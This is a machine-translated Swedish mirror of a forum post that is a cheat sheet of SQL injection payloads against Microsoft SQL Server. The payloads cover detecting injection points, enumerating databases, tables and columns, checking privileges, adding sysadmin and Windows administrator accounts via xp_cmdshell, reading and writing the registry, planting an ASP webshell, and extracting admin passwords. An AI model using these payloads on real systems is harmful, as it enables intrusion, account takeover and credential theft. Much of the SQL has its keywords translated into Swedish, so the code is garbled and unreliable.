Denna artikel är en spegelartikel om maskinöversättning, klicka här för att hoppa till originalartikeln.

Utsikt: 14167|Svar: 0

[Säker kommunikation] SQL-injektion vanliga satser

[Kopiera länk]
Publicerad på 2014-11-22 17:17:21 | | |
1. Fastställa om det finns en injektion
; och 1=1
; och 1=2

2. Preliminärt bedömning om det är mssql
; och user>0

3. Bedöm databassystemet
; och (välj antal(*) från sysobjects)>0 mssql
; och (välj antal(*) från msysobjects)>0 åtkomst

4. Injektionsparametern är en karaktär
'och [frågekriterier] och ''='

5. Det finns inga filtrerade parametrar under sökningen
'och [frågekriterier] och '%25'='

6. Gissa namnet på bordet
; och (välj Antal(*) från [tabellnamn])>0

7. Gissa fältet
; och (välj Count (fältnamn) från tabellnamn>0

8. Gissa längden på rekordet i fält
; och (välj topp 1 len(fältnamn) från tabellnamn>0

9. (1) Gissa ASCII-värdet för fältet (åtkomst)
; och (välj topp 1 ASC(mid(fältnamn, 1,1)) från tabellnamn)>0

(2) Gissa ASCII-värdet för fältet (mssql)
; och (välj översta 1 unicode(substring(fältnamn,1,1)) från tabellnamn)>0

10. Testbehörighetsstruktur (mssql)
; och 1=(välj IS_SRVROLEMEMBER('sysadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('serveradmin')); --
; och 1=(välj IS_SRVROLEMEMBER('setupadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('securityadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('diskadmin')); --
; och 1=(välj IS_SRVROLEMEMBER('bulkadmin')); --
; och 1=(välj IS_MEMBER('db_owner')); --

11. Lägg till ett konto för mssql och systemet
; exec master.dbo.sp_addlogin användarnamn; --
; exec master.dbo.sp_password null, användarnamn, lösenord; --
; exec master.dbo.sp_addsrvrolemember sysadmin-användarnamn; --
; exec master.dbo.xp_cmdshell 'Nätanvändaranvändares användarnamn lösenord /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'nätanvändaranvändare, lösenord /add'; --
; exec master.dbo.xp_cmdshell 'Net LocalGroup Administrators användarnamn /Add'; --

12. (1) Gå igenom katalogen
; skapa tabell-direktorat(paths varchar(100), id int)
; infoga dirs exec master.dbo.xp_dirtree 'c:\'
; och (välj topp 1-vägar från dirs)>0
; och (välj topp 1-vägar från dirs där vägar inte är i ('vägar erhållna från föregående steg'))>)

(2) Gå igenom katalogen
; skapa tabelltemperatur (id nvarchar(255), num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; Insert temp exec master.dbo.xp_availablemedia; -- Hämta alla strömdrift
; infoga i temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Få en lista över underkataloger
; infoga i temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Hämta katalogträdsstrukturen för alla underkataloger
; infoga i temp(id) exec master.dbo.xp_cmdshell 'typ c:\web\index.asp'; -- Visa innehållet i filen

13. Lagrade procedurer i mssql
xp_regenumvalues Registerrotnyckel, barnnyckel
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' returnerar alla nyckelvärden i flera postuppsättningar
xp_regread Rotnyckel, barnnyckel, nyckel-värdenamn
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' returnerar värdet på set key
xp_regwrite Rotnyckel, barnnyckel, värdenamn, värdetyp, värde
Det finns två typer av värdetyper REG_SZ REG_DWORD för teckentyper och för heltal
; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz', 'hello' till registret
xp_regdeletevalue Rotnyckel, undernyckel, värdenamn
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' för att ta bort ett värde
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' för att ta bort nyckeln, inklusive alla värden under den nyckeln

14. mssql-backup skapar ett webshell
Använd modellen
skapa tabell-cmd (ST-bild);
infoga i cmd(str)-värden ('<% Dim oScript %>');
säkerhetskopiera databasmodell till disk='c:\l.asp';

15. MSSQL inbyggda funktioner
; och (välj @@version)>0 för att få Windows-versionsnumret
; och user_name()='dbo' för att avgöra om den anslutna användaren av det aktuella systemet är SA
; och (välj user_name())>0 Exploderade de anslutna användarna av det aktuella systemet
; och (välj db_name())>0 för att få den aktuella anslutna databasen



MSSQL handannoterad databasöverträdelse

1. Visa det aktuella tabellnamnet och kolumnnamnet
Skicka in "'having 1=1--" efter injektionspunkten för att få returmeddelandet på engelska, där du kan se ett tabellnamn och ett kolumnnamn. Skicka in "group by the listname som har 1=1--" för att få ett annat kolumnnamn; Fortsätt att skicka in "group efter listan över den exponerade tabellens namn, namnet på den exponerade tabellen." Andra kolumnnamnet har 1=1--", vilket ger dig ett annat kolumnnamn. Commit på samma sätt tills sidan inte längre ger felmeddelanden för att hämta alla kolumnnamn. Kuriosa: Våldsamma tabellnamn och kolumnnamn används i kombination med GROUP BY i SQL-satser för att göra villkorliga bedömningar. Eftersom satsen är ofullständig returnerar databasen ett felmeddelande och visar ett tabellnamn och ett kolumnnamn. Basic-metoden kan bara visa den aktuella tabellen i databasen, och om en tabell innehåller många kolumnnamn är det mycket svårt att använda basic-metoden.

Först. Alla databasnamn exponeras
Använd satsen "and 0<>(select count(*) from master.dbo.sysdatabases där name>1 och dbid=[N])" för att visa godtyckliga tabellnamn och kolumnnamn i databasen, där "[N]" representerar den n:te tabellen i databasen.
Steg 1: Efter att ha injicerat punkten, skicka in följande sats: "och 0<>(välj antal(*) från master.dbo.sysdatabases där name>1 och dbid=12)", eftersom värdet på dbid är från 1 till 5, vilket används av systemet, så användaren måste ha byggt det från 6, och vi har skickat in namnet>1, namnfältet är ett teckentypfält, och jämförelsen av siffror kommer att vara fel, så efter inlämning kommer IE att returnera följande information: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konverterar nvarchar-värdet 'Northwind' till datatyp int kolumn. På detta sätt exponeras värdet av namnfältet, det vill säga vi får databasnamnet "Northwind". Att ändra värdet på "dbid" kan få alla databasnamn.

och 0<>(välj räkning(*) från master.dbo.sysdatabases där name>1 och dbid=[N])-- Modifiera N för att explodera alla databasnamn från 6


För det andra. Exponera alla tabellnamn i den angivna databasen
Efter att ha fått databasnamnet behöver du nu hämta alla tabellnamn i biblioteket, skicka in följande sats: "and 0<>(select top 1 name from master.dbo.sysobjects där xtype='U')", här är tabellnamnet i masterdatabasen, och SQL-satsen för frågan returnerar värdet av name, och jämför sedan med siffran 0, så att värdet av name exponeras. Efter inlämningen avslöjades bordets namn "'spt_monito".
Därefter exponeras de andra tabellerna, och följande sats skickas in: "and 0<>(select top 1 name from master.dbo.sysobjects där xtype='U' och namn inte i('spt_monito'))", och en annan tabell med namnet "cd512" exponeras. Fil "och namn inte i(' spt_monito',' CD512',..))" Du kan ta reda på alla bordsnamn.

och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.sysobjects där xtype='U')--
och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.sysobjects där xtype='U' och namn inte in('[Exploded table name]'))--
och 0<>(välj översta 1-namn från [specificera databasnamn].dbo.sysobjects där xtype='U' och namn inte är i('[Explosivt tabellnamn]', '[Exploderat andra tabellnamn]')))--

4. Visa alla kolumnnamn i den angivna tabellen
och 0<>(välj räkning(*) från bbs.dbo.sysobjects där xtype='U' och name='admin' och uid>(str(id)))
Konvertera ID-värdet till en teckentyp och jämför det sedan med ett heltalsvärde. ID-numret är ute. Värdet är: 949578421 namn='tabellnamn'

och 0<>(välj översta 1-namn från wutong.dbo.syscolumns där id=949578421)-- Ett fältnamn i admin-tabellen exponeras

Skicka in igen och 0<>(välj översta 1:a namn från wutong.dbo.syscolumns där id=949578421 och namn inte i('adduser')))--
Fil "och namn inte i(' spt_monito',' CD512',..))" Du kan hitta alla fältnamn i admin-tabellen.


och 0<>(välj count(*) från [ange databasnamn].dbo.sysobjects där xtype='U' och name='[Tabellnamn på fält som ska explodera]' och uid>(str(id)))--ID-värdet för tabellnamnet på fältet som ska explodera

och 0<>(välj översta 1-namnet från [ange databasnamn].dbo.syscolumns där id=exploded id-värde)-- Namnet på ett fält i exploding id-värdetabellen

och 0<>(välj översta 1-namn från [ange databasnamn].dbo.syscolumns där id=Explosivt id-värde och namn inte i('[Exploded field name]')))--



5. Läs datan i den angivna tabellen

och 0<(välj A_ID från wutong.dbo.admin där A_UserID>1) – innehållet som bröt A_PWD

och 0<(välj [ett fält som finns] från [ange databasnamn].dbo.[tabellnamn för fråga] där [fältnamn för att explodera innehåll]>1)--

och 0<(välj A_ID från wutong.dbo.admin där A_PWD>1 och A_UserID='admin')-- Adminens lösenord avslöjas


och 0<(Välj Topp 1 A_UserID FRÅN admin där A_ID<>1)-- Administratörens namn id<>1 (fuhao)

och 0<(Välj Topp 1 A_UserID FRÅN admin där A_ID <>1 och A_UserID <> 'fuhao')-- Namnet på den andra admin <> inte lika med (tuiguang)

och 0<(Välj topp 1 A_UserID FRÅN admin där A_ID <>1 och A_UserID <> 'fuhao' och A_UserID <> 'tuiguang')--

Efter att ha känt till tabellnamnet och kolumnnamnet på databasen kan du använda "query-satsen" för att läsa all information i databasen. Till exempel, om du vill läsa den n:te datan i en kolumn i en tabell, kan du skicka in satsen: "och (Välj topp 1:e kolumnnamn FRÅN tabellnamn där id=[N])>1" ([N] representerar den n:te datan i kolumnen), och du kan känna till önskad data från informationen som returneras av IE.






Föregående:Hur man döljer en komprimerad rar-fil i en jpg-fil
Nästa:Samla på "Harry Potter" 1~7 Ta fram den och dela med dig Om du inte gillar den, spraya inte på den
Friskrivning:
All programvara, programmeringsmaterial eller artiklar som publiceras av Code Farmer Network är endast för lärande- och forskningsändamål; Ovanstående innehåll får inte användas för kommersiella eller olagliga ändamål, annars kommer användarna att bära alla konsekvenser. Informationen på denna sida kommer från internet, och upphovsrättstvister har inget med denna sida att göra. Du måste helt radera ovanstående innehåll från din dator inom 24 timmar efter nedladdning. Om du gillar programmet, vänligen stöd äkta programvara, köp registrering och få bättre äkta tjänster. Om det finns något intrång, vänligen kontakta oss via e-post.

Mail To:help@itsvse.com